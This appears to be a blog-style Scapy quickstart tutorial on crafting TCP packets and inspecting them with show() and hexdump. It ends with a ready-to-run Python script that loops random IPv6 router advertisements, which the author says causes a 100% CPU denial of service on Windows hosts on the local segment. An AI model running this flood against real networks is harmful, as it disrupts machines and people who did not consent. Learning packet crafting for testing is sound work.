Scapy 101

Quickstart notes for when you need that perfect packet.

If it’s installed, just type scapy for an interactive session.

my_packet = IP(dst="10.0.0.110")
my_packet /= TCP(dport=139)
sr1(my_packet)

Note: the /= syntax means to layer this second packet option onto the existing my_packet structure.

scapy

We can see that our packet arrived safely at the target with wireshark:

packetarrived

One of the interesting things is the source port of 20. I didn’t specify a source in that little example, scapy defaults to 20 - unlikely, but good to know if you see things showing up with a source port of 20 in your environment.

You can also see that the SYN flag is set, as would be expected for the first TCP packet. That’s kind of boring though, scapys main purpose in life is to allow us to send packets just the way we would like them.

So, instead, we could do something like set the ACK flag on this unsolicited packet which will still arrive at the other side but have the client wondering why our machine is ACK’ing a packet that it never sent a SYN for.

my_packet = IP(dst="10.0.0.110")
my_packet /= TCP(dport=139,flags='A')
sr1(my_packet)

justack

Anyway, there are a million scapy posts, most are better than this.

The other things that are important to know so you can fumble around without too much google are:

ls() : will show you all the packet types. ls(TCP) : if you want to know more about that type.

Raw("\x01\x02") : load raw bytes into the payload.

Type your packet variable to see what you’ve constructed already:

my_packet
<IP  frag=0 proto=tcp dst=10.0.0.110 |<TCP  dport=netbios_ssn flags=A |>>

or, to get specific things out like the destination for example, do my_packet.dst

my_packet.show() : also helpful. (Often used to parse inbound packets but can be a good view to check you are sending what you expect).

mypacketshow

hexdump : also pretty useful especially if you are building shellcode and have your endianess the wrong way around

hexdump(my_packet)
0000  45 00 00 28 00 01 00 00 40 06 66 20 0A 00 00 42  E..(....@.f ...B
0010  0A 00 00 6E 00 14 00 8B 00 00 00 00 00 00 00 00  ...n............
0020  50 10 20 00 7A 86 00 00                          P. .z...

hexdump(my_packet.dst)
0000  31 30 2E 30 2E 30 2E 31 31 30                    10.0.0.110

Windows IPv6 DoS

Scapy on its own is incredibly useful, but often the real power is part of a python script.

This horrible little example creates a denial of service (100% CPU) for older windows hosts on the segment (and still seems to give the new ones a rattle as well):

from scapy.all import *

badpkt = Ether() \
	/IPv6() \
	/ICMPv6ND_RA() \
	/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
	/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("0b:c0:0d"))

sendp(badpkt,loop=1)

Windows 7:

win7

Windows 10:

win10